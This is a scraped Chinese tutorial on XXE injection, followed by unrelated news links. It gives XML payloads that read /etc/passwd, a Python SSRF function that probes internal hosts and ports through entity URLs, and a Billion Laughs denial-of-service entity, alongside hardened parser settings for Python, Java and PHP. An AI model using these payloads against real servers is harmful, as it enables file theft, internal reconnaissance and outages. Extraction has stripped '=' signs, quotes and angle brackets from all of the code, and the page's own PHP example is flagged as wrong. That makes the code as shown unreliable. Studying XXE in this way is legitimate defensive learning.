,攻击者通过构造特殊的XML使其包含恶意外部实体。外部实体可以为服务器敏感文件,也可以为网络请求等,之后利用方式类似于文件包含和SS ... 深入解析XML外部实体注入XXE攻击从原理到实战防御什么是XXE攻击XML外部实体注入XML External Entity Injection简称XXE是一种针对XML解析器的安全漏洞。攻击者通过构造特殊的XML文档使其包含恶意外部实体。这些外部实体可以引用服务器上的敏感文件如/etc/passwd、发起网络请求类似SSRF攻击甚至导致拒绝服务如Billion Laughs攻击。XXE的利用方式与文件包含和SSRF服务器端请求伪造有异曲同工之妙但攻击入口是XML解析。### 核心原理XML允许定义实体Entity分为内部实体和外部实体。外部实体通过SYSTEM关键字引用外部资源例如xml!ENTITY xxe SYSTEM file:///etc/passwd当解析器处理该实体时会读取指定文件内容并插入到XML文档中。如果解析器未禁用外部实体解析攻击者就能窃取数据或发起请求。## 实战示例读取服务器敏感文件### 示例1基本的文件读取假设有一个Web应用它通过POST请求接收XML数据并解析。例如一个用户信息查询接口攻击代码Python模拟python# 攻击者构造的恶意XMLmalicious_xml ?xml version1.0 encodingUTF-8?!DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd]root namexxe;/name/root# 模拟服务器端解析使用lxml库默认未禁用外部实体from lxml import etree# 注意实际生产中应禁用外部实体此处仅为演示漏洞parser etree.XMLParser(load_dtdTrue, resolve_entitiesTrue)try: tree etree.fromstring(malicious_xml.encode(), parser) print(解析结果, tree.find(name).text)except Exception as e: print(解析失败, e)输出示例解析结果 root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin...注释-!DOCTYPE foo [...]定义了文档类型其中包含外部实体声明。-!ENTITY xxe SYSTEM file:///etc/passwd声明了外部实体xxe指向file:///etc/passwd。-namexxe;/name在XML元素中引用了该实体解析器会将其替换为文件内容。### 防御措施在Python的lxml中正确的防御方式是禁用DTD和外部实体pythonparser etree.XMLParser(load_dtdFalse, resolve_entitiesFalse)## 进阶利用SSRF与内网探测外部实体不仅限于file://协议还可以使用http://、ftp://等协议从而实现SSRF攻击。攻击者可以探测内网服务、扫描开放端口甚至利用SSRF攻击其他内网系统。### 示例2内网端口扫描攻击者构造如下XML尝试访问内网IP的特定端口python# 模拟端口扫描的恶意XMLdef scan_port(ip, port): xml_template ?xml version1.0 encodingUTF-8?!DOCTYPE foo [ !ENTITY xxe SYSTEM http://{ip}:{port}/admin]root dataxxe;/data/root return xml_template.format(ipip, portport)# 假设内网IP为192.168.1.1扫描80端口target_ip 192.168.1.1target_port 80payload scan_port(target_ip, target_port)# 服务器端解析同样使用有漏洞的配置from lxml import etreeparser etree.XMLParser(load_dtdTrue, resolve_entitiesTrue)try: tree etree.fromstring(payload.encode(), parser) result tree.find(data).text if result: print(f端口 {target_port} 开放响应内容{result[:100]}) else: print(f端口 {target_port} 无响应)except Exception as e: # 如果连接超时或拒绝可能端口关闭 print(f端口 {target_port} 可能关闭{e})注释- 此代码通过循环扫描不同端口可以探测内网服务。-http://{ip}:{port}/admin尝试访问内网Web管理页面。- 如果解析器返回错误如连接超时表明端口可能关闭如果返回内容则端口开放。注意实际扫描时攻击者会使用更复杂的错误处理来区分“端口关闭”和“无响应”。## 其他攻击向量Billion Laughs与DoS除了数据窃取和SSRFXXE还可以用于拒绝服务攻击。经典的“Billion Laughs”攻击通过递归实体定义消耗大量内存xml!DOCTYPE lolz [ !ENTITY lol lol !ENTITY lol2 lol;lol;lol;lol;lol;lol;lol;lol;lol;lol; !ENTITY lol3 lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2; ...]rootlol999;/root解析器会尝试展开所有实体导致内存耗尽。## 防御实战安全的XML解析配置在不同的编程语言和框架中防御方法略有不同但核心原则是1.禁用外部实体解析设置解析器不加载DTD、不解析外部实体。2.使用白名单如果必须使用外部实体严格限制协议和来源。3.输入验证对用户提交的XML进行严格过滤检查是否包含!DOCTYPE、!ENTITY等标签。### Python安全配置pythonfrom lxml import etree# 安全解析器禁用DTD和外部实体safe_parser etree.XMLParser( load_dtdFalse, # 不加载DTD resolve_entitiesFalse, # 不解析实体 no_networkTrue # 禁止网络访问)# 安全解析用户输入try: tree etree.fromstring(user_xml.encode(), safe_parser) # 正常处理逻辑except etree.XMLSyntaxError as e: # 记录日志拒绝请求 print(fXML解析错误{e})### Java安全配置javaDocumentBuilderFactory dbf DocumentBuilderFactory.newInstance();dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true);dbf.setFeature(http://xml.org/sax/features/external-general-entities, false);dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false);### PHP安全配置phplibxml_disable_entity_loader(true); // PHP 8.0前可用$xml simplexml_load_string($user_input, SimpleXMLElement, LIBXML_NOENT);注意LIBXML_NOENT实际上会解析实体应使用LIBXML_NONET禁用网络访问并配合libxml_disable_entity_loader(true)。## 总结XXE攻击是一种古老但依然有效的Web安全威胁尤其在处理用户提交XML数据的API中常见。攻击者通过构造恶意外部实体可以读取任意文件、发起内网请求SSRF、甚至实施拒绝服务攻击。防御的关键在于- 在解析XML时始终禁用外部实体和DTD。- 遵循最小权限原则不解析不必要的实体。- 对用户输入进行严格验证拒绝包含!DOCTYPE等标签的异常数据。作为全栈工程师在开发任何涉及XML处理的接口时必须将安全配置作为默认设置而不是事后补救。理解攻击原理并掌握防御代码是构建安全应用的基础。

相关新闻

最新新闻

【提示词工程高阶心法】:20年AI架构师亲授角色扮演模板的5大黄金法则与避坑指南

【提示词工程高阶心法】:20年AI架构师亲授角色扮演模板的5大黄金法则与避坑指南

更多请点击: https://intelliparadigm.com 第一章:提示词角色扮演模板的底层认知与演进逻辑 提示词角色扮演模板并非简单的“你是一个XX专家”式指令堆砌,而是语言模型推理机制与人类认知建模深度耦合的产物。其底层逻辑根植于Transformer架…

2026/7/27 1:08:33
[具身智能-667]:RDK X5搭建机器人平台,为什么还需要配一个独立的STM32 ROS机器人控制板

[具身智能-667]:RDK X5搭建机器人平台,为什么还需要配一个独立的STM32 ROS机器人控制板

核心结论先讲清楚RDK X5 机器人「大脑」(感知、AI 推理、ROS 决策、SLAM 导航);STM32 控制板 机器人「小脑 运动脊髓」(硬实时电机闭环、底层硬件执行)。 不是 RDK X5 不能输出 IO,而是硬件架构 Linux …

2026/7/27 1:08:33
HarmonyOS应用《玄象》开发实战:@Prop / @Link / @Provide-@Consume 数据传递在星宿模块的实战

HarmonyOS应用《玄象》开发实战:@Prop / @Link / @Provide-@Consume 数据传递在星宿模块的实战

阅读时长:约 19 分钟 | 难度:★★★★☆ | 篇章:第 4 篇 二十八星宿模块 对应源码:entry/src/main/ets/pages/mansion/MansionListPage.ets、MansionDetailPage.ets 前言 玄象项目星宿模块涉及多个页面间的数据传递——列表…

2026/7/27 1:08:33
5分钟完成QQ空间说说备份:你的数字记忆守护指南

5分钟完成QQ空间说说备份:你的数字记忆守护指南

5分钟完成QQ空间说说备份:你的数字记忆守护指南 【免费下载链接】GetQzonehistory 获取QQ空间发布的历史说说 项目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory 你是否曾深夜翻看QQ空间,发现多年前的珍贵说说突然消失&#xff…

2026/7/27 1:08:33
[Dify实战] 知识库答得像真的但没依据?这样核对召回片段,企业场景更敢用

[Dify实战] 知识库答得像真的但没依据?这样核对召回片段,企业场景更敢用

Dify 知识库问答最让人担心的,不是它完全答不上来,而是它答得很顺、语气也很肯定,但你仔细一看,答案里有些内容并没有来自资料。个人学习时这只是小问题,放到企业制度、产品资料、合同条款或售后口径里,就会变成很危险的“看起来像真的”。所以知识库回答没有依据时,先不…

2026/7/27 1:08:33
浅谈WEB页面提速(前端向)

浅谈WEB页面提速(前端向)

浅谈WEB页面提速(前端向) 大家好,我是你们的老朋友,一个喜欢在代码世界里“抢时间”的技术博主。今天我们来聊聊一个让所有前端开发者又爱又恨的话题——WEB页面提速。在这个“5秒不加载,用户就开溜”的时代&#xff…

2026/7/27 1:03:33

月新闻